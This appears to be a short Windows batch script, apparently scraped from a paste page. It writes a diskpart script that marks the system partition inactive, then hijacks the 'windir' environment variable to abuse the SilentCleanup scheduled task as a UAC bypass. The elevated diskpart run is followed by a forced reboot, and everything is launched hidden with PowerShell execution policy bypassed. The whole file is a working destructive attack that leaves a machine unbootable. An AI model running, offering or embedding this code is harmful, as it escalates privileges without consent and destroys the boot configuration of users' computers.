@echo off
echo select disk=^0>C:\Users\Public\Diskpart.txt
echo select partition=^1>>C:\Users\Public\Diskpart.txt
echo inactive>>C:\Users\Public\Diskpart.txt
echo Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd /c start /min cmd /c diskpart /s C:\Users\Public\Diskpart.txt ^&^& shutdown /r /f /t 0 && ;#">C:\Users\Public\Powershell.ps1
echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I ^| Out-Null>>C:\Users\Public\Powershell.ps1
echo Remove-ItemProperty -Path "HKCU:\Environment" -Name "windir">>C:\Users\Public\Powershell.ps1
start /min powershell -ep bypass -w h C:\Users\Public\Powershell.ps1
Comments